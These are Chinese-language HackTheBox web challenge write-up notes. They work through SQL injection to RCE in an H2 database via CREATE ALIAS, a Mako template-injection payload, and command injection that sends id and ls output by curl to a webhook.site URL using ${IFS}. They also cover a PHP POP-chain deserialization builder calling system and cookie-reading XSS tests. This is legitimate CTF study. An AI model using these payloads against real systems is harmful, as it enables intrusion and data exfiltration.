[TOC]
### Pentest Notes
題目 : [Pentest Notes](https://app.hackthebox.com/challenges/Pentest%2520Notes?tab=play_challenge)
解題 :
創一個帳號後登入,這個看起來很可疑,去他的程式碼看看 api/note 怎麼處理資料的

發現 login、register 都有做參數化,就只有 note 直接把 name 帶進去查詢

證實有 SQLi 問題

回去看提供檔案,裡面有給資料庫系統跟資料庫名稱
- 資料庫類型是 h2 ( H2是一個Java編寫的關係型資料庫,它可以被嵌入Java應用程式中使用 )
- DB 名稱是 notedb
```
application.properties
spring.application.name=PentestNotes
spring.datasource.url=jdbc:h2:mem:notedb
spring.datasource.driverClassName=org.h2.Driver
spring.jpa.database-platform=org.hibernate.dialect.H2Dialect
spring.jpa.defer-datasource-initialization=true
spring.http.encoding.charset=UTF-8
spring.mvc.view.charset=UTF-8
```
H2 預設的用戶資料表通常在 PUBLIC schema 下
```
' UNION SELECT 1, TABLE_NAME, TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='PUBLIC' LIMIT 0,1 --
```
limit 0,1 改成 1,1 多了 user, 但是 user 裡面只有預設跟我剛剛創的而已,改 2, 3 都沒有東西了



從資料庫中沒發現其他有趣的東西了
去了解 h2 DB 發現,他允許開發者直接在 SQL 中定義並執行 Java 程式碼,看來可以 RCE
以下是建構的 payload,我從 console 輸入
```
fetch('/api/note', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: 'name=' + encodeURIComponent("'; CREATE ALIAS cmd AS 'String f(String c) throws Exception { return new java.util.Scanner(Runtime.getRuntime().exec(c).getInputStream()).useDelimiter(\"\\\\A\").next(); }'; --")
})
.then(res => {
if (res.ok) console.log("ok");
else console.error("no" + res.status);
})
.catch(err => console.error("錯誤:", err));
```
- CREATE ALIAS ... AS : 自訂一個函數,名稱隨便打
- String f(String c) throws Exception:定義一個接收字串 c 並回傳字串的函數
- Runtime.getRuntime().exec(c) : 主要執行指令的地方
- getInputStream():接住指令輸出的內容
- Scanner + useDelimiter("\\A"):把所有噴出來的文字(不管是幾行)通通收下來
:::spoiler
Scanner 預設的行為是遇到空格、換行就停止讀取,Delimiter 意思是分隔符,這邊用正則表達來讓他把我輸入的一整串字都讀進去
:::
- .next() : 將讀到的所有內容作為一個字串回傳給 SQL

後續利用只要叫出剛剛建立的函數名稱就好了
```
fetch('/api/note', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: 'name=' + encodeURIComponent(`' UNION SELECT 1, cmd('ls'), 1 --`)
})
.then(res => res.json())
.then(data => console.log(">>>", data[0].Name));
```


最後 cat flag 檔案就成功了
### Spookifier
題目 : [Spookifier](https://app.hackthebox.com/challenges/Spookifier?tab=play_challenge)
解題 :
連上題目後長這樣,功能是把輸入的字用不同的字形表示出來


透過簡單的測試發現他有 XSS 的問題,但是無法進行更一步的有效攻擊
回去看題目附的原始碼
從原始碼可以發現重要的程式有以下兩個 :
```
challenge\application\blueprints\routes.py
from flask import Blueprint, request
from flask_mako import render_template
from application.util import spookify
web = Blueprint('web', __name__)
@web.route('/')
def index():
text = request.args.get('text')
if(text):
converted = spookify(text)
return render_template('index.html',output=converted)
return render_template('index.html',output='')
```
```
challenge\application\util.py
from mako.template import Template
font1 = {
'A': '𝕬',
'B': '𝕭',
'C': '𝕮',
'D': '𝕯',
...
...
' ': ' '
}
font2 = {
'A': 'ᗩ',
'B': 'ᗷ',
'C': 'ᑢ',
...
...
'z': 'Ⱬ',
' ': ' '
}
font3 = {
'A': '₳',
'B': '฿',
'C': '₵',
'D': 'Đ',
...
}
font4 = {
'A': 'A',
'B': 'B',
'C': 'C',
...
...
',': ',',
'>': '>',
'.': '.',
'?': '?',
'/': '/'
' ': ' ',
}
def generate_render(converted_fonts):
result = '''
<tr>
<td>{0}</td>
</tr>
<tr>
<td>{1}</td>
</tr>
<tr>
<td>{2}</td>
</tr>
<tr>
<td>{3}</td>
</tr>
'''.format(*converted_fonts)
return Template(result).render()
def change_font(text_list):
text_list = [*text_list]
current_font = []
all_fonts = []
add_font_to_list = lambda text,font_type : (
[current_font.append(globals()[font_type].get(i, ' ')) for i in text], all_fonts.append(''.join(current_font)), current_font.clear()
) and None
add_font_to_list(text_list, 'font1')
add_font_to_list(text_list, 'font2')
add_font_to_list(text_list, 'font3')
add_font_to_list(text_list, 'font4')
return all_fonts
def spookify(text):
converted_fonts = change_font(text_list=text)
return generate_render(converted_fonts=converted_fonts)
```
從第一個程式看到用戶 input 直接送到 spookify() 去變換字形,變完之後直接送到 render_template(),送過去的參數也沒有做處理,從第二個程式中可以看到 Template(result).render(),直接把接到的參數拿去做渲染
所以原本只有發現 XSS 的問題,直接進展到 SSTI
再往回看 template 發現 mako.template
套用對應 SSTI 語法 payload,就可以拿到 flag
```
${__import__('os').popen('cat /flag.txt').read()}
```
### Flag Command
題目 : [Flag Command](https://app.hackthebox.com/challenges/Flag%2520Command)
解題 :
題目開啟後長下圖這樣,需要依照提示下指令

查看原始碼可以看到以下內容,發現三個可能有幫助的 js 檔案

從 main.js 中發現可以輸入的 command 有個 secret 的選項,但是沒有出現在這些檔案中

查看 burp 的紀錄發現開啟題目的時候有去存取 /api/options,response 中就可以看到秘密指令
:::success
Blip-blop, in a pickle with a hiccup! Shmiggity-shmack
:::

將秘密指令輸入就可以解題了

### Void Whispers
題目 : [Void Whispers](https://app.hackthebox.com/challenges/Void%2520Whispers)
解題 :
題目打開長這樣,該題有附程式碼

先使用他的網頁,他有四個欄位,填完後按 save 就會更新
檢查程式碼,了解他是怎麼更新的,發現檢查 sendMailPath 的地方有 cmdi 漏洞,並且不接受空白鍵

嘗試利用以下指令,但是網站只會回傳更新成功或是 error,因此需要讓資料被丟出來
```
/usr/sbin/sendmail;ls
```
利用 [webhook](https://webhook.site/#!/view/71f80a44-a675-407d-afc8-5be2bbdb5277/fbf9f548-6970-41b5-b03f-d93ee27f370b/1) 來看丟出來的資料,並透過 ${IFS} 來 bypass 空白鍵,確認可以成功
```
/usr/sbin/sendmail;curl${IFS}https://webhook.site/71f80a44-a675-407d-afc8-5be2bbdb5277${IFS}-d${IFS}$(id)
```

接著來檢查目錄有沒有我想要的檔案,只發現一個在題目有提供的 php 檔而已,後來陸續找了一些路徑也沒發現我要的 flag 檔,後來題目就壞掉了...
```
/usr/sbin/sendmail;curl${IFS}https://webhook.site/71f80a44-a675-407d-afc8-5be2bbdb5277${IFS}-d${IFS}$(ls)
```

後來仔細想想,突然想到 docker file 好像都會寫 flag 路徑,但是題目壞掉了,下次再試

重試之後成功拿到 flag


### POP Restaurant
題目 : [POP Restaurant](https://app.hackthebox.com/challenges/POP%2520Restaurant)
解題 : 該題有附程式碼
打開題目會先看到登入跟註冊,登入後可以看到三張圖片,點擊圖片可以訂購餐點,訂購的餐點會出現在下面 YOUR ORDERS

送出訂單時不是送餐點名稱,而是送一串 base64 encode 後的字串


#### 檢查程式碼
這邊發現比較特別的函式是 unserialize(),出現在 order.php,這個程式將使用者 post 出來的資料透過 base64 decode 再反序列化,把物件的類別存到 foodname

查看這些餐點的結構



嘗試 IceCream,想讓他印出我輸入的口味
第一次嘗試失敗,問 chatgpt 說 flavor 需要是陣列的類型
```
O:8:"IceCream":2:{s:7:"flavors";s:4:"milk";s:7:"topping";N;s:2:"Hi";N}
```
第二次嘗試失敗,問 chatgpt 說我沒觸發到 _invoke()
```
O:8:"IceCream":2:{s:7:"flavors";a:1:{i:0;s:4:"milk";}s:7:"topping";N;}
```
> 後來查 _invoke() 才知道這是 magic method,也發現這題好像是在考 POP chain,要想辦法手動去觸發他們各自的 magic method,並且讓他們串再一起,再透過修改程式中的值,最後產出一個值被修改過的序列化資料,再去執行。
https://vickieli.dev/insecure%20deserialization/pop-chains/
:::info
**magic method**
這個 magic method 會在特定情況下自動被 PHP 引擎調用,而無需手動調用,通常發生在完成某個特定條件時,例如:當對象被創建、訪問或銷毀時
| magic method | 觸發條件 |
| -------- | -------- |
| __invoke() | when a script tries to call an object as a function. |
| __destruct() | there are no other references to a particular object, or in any order during the shutdown sequence. |
| __get() | utilized for reading data from inaccessible (protected or private) or non-existing properties |
| __construct() | Classes which have a constructor method call this method on each newly-created object, so it is suitable for any initialization that the object may need before it is used. |
參考 : https://www.php.net/manual/en/language.oop5.magic.php
:::
知道目標是要把 magic method 串再一起後,我還是不會串,以下是參考大神提供的解法 :
:::success
順序是 Pizza 的 __destruct() -> Spaghetti 的 __get() -> iceCream 的 __invoke() -> ArrayIterator
:::
理由是物件結束後成功觸發 __destruct(),__destruct() 內執行 echo $this -> size -> what,what 是不存在的東西,所以又再觸發 __get(),__get() 內執行 sauce(),這個觸發到 __invoke() 並執行迴圈去印 flavor,最後 foreach 的時候就會觸發到 current 來處理迭代array 的元素
補充 : call_user_func 意思大概是使用 callback 函式,然後參數是 value
```
<?php
require_once 'Helpers/ArrayHelpers.php';
require_once 'Models/IceCreamModel.php';
require_once 'Models/PizzaModel.php';
require_once 'Models/SpaghettiModel.php';
$callback = 'system';
$payload = 'your command';
$arrayHelper = new Helpers\ArrayHelpers([$payload]);
$arrayHelper->callback = $callback;
$iceCream = new IceCream();
$iceCream->flavors = $arrayHelper;
$spaghetti = new Spaghetti();
$spaghetti->sauce = $iceCream;
$pizza = new Pizza();
$pizza->size = $spaghetti;
echo base64_encode(serialize($pizza));
```
從上面的程式碼可以看到大神多利用了一個 ArrayHelpers 的檔案,這個 class 繼承自 ArrayIterator,並且複寫了 current 函式 (用於回傳當前元素)。
所以新的 current 函式會將 array 中每個元素作為 callback 的參數執行,因此如果將 callback 更改為 system,就能夠搭配 array 中的元素來執行 linux 指令

最後因為 response 不會顯示執行的結果,因此把他寫到另外的檔案,再去瀏覽它
:::success
payload = ls / > result.txt
:::

:::success
payload = cat ../../../../pBhfMBQlu9uT_flag.txt > flag.txt
:::

### Insomnia
題目 : [Insomnia](https://app.hackthebox.com/challenges/Insomnia)
解題 :
從註冊到登入可以觀察到使用者名稱會出現在 welcome back


嘗試使用 XSS 語法看能不能成功觸發,結果成功但是 token 還是原本那組
:::success
- <script>alert(window.location.href)</script>
- <script>alert(document.cookie)</script>
:::



原本以為是 XSS 的洞原本還在查 stored xss 的 RCE,結果在找 source code 的時候才發現 flag 出現的條件,猜測題目不是爆破 jwt 不然就是程式漏洞讓我可以順利產出 administrator 的 JWT

檢查註冊及登入的程式,確認沒辦法自己創一個 administrator,我也不知道 admin 的密碼,不確定是否需要密碼爆破...
```
<?php
namespace App\Controllers;
use CodeIgniter\Controller;
use CodeIgniter\API\ResponseTrait;
use Firebase\JWT\JWT;
use Firebase\JWT\Key;
class UserController extends Controller
{
use ResponseTrait;
public function LoginIndex()
{
return View("LoginPage");
}
public function login()
{
$db = db_connect();
$json_data = request()->getJSON(true);
if (!count($json_data) == 2) {
return $this->respond("Please provide username and password", 404);
}
$query = $db->table("users")->getWhere($json_data, 1, 0);
$result = $query->getRowArray();
if (!$result) {
return $this->respond("User not found", 404);
} else {
$key = (string) getenv("JWT_SECRET");
$iat = time();
$exp = $iat + 36000;
$headers = [
"alg" => "HS256",
"typ" => "JWT",
];
$payload = [
"iat" => $iat,
"exp" => $exp,
"username" => $result["username"],
];
$token = JWT::encode($payload, $key, "HS256");
$response = [
"message" => "Login Succesful",
"token" => $token,
];
return $this->respond($response, 200);
}
}
public function RegisterIndex()
{
return View("RegisterPage");
}
public function register()
{
$db = db_connect();
$json_data = request()->getJSON(true);
$username = $json_data["username"] ?? null;
$password = $json_data["password"] ?? null;
if (!($username && $password)) {
return $this->respond("Empty username or password", 404);
} else {
// Check if the username already exists
$existingUser = $db
->table("users")
->where("username", $username)
->get()
->getRow();
if ($existingUser) {
return $this->respond("Username already exists", 400);
}
// Insert the new user if the username is unique
$db->table("users")->insert([
"username" => $username,
"password" => $password,
]);
if ($db->affectedRows() > 0) {
return $this->respond(
"Registration successful for user: " . $username,
200
);
} else {
return $this->respond("Registration failed", 404);
}
}
}
}
```
先嘗試 JWT 爆破,把 rockyou 的密碼都爆過了但沒有找到

查看 writeup,文中表示以下程式邏輯錯誤,所以輸入帳號就過了,但他不是有 !count( json_data ) == 2 嗎怎麼會過,還是因為 count($json_data) == 2 沒括號 ?
```
if (!count($json_data) == 2) {
return $this->respond("Please provide username and password", 404);
```

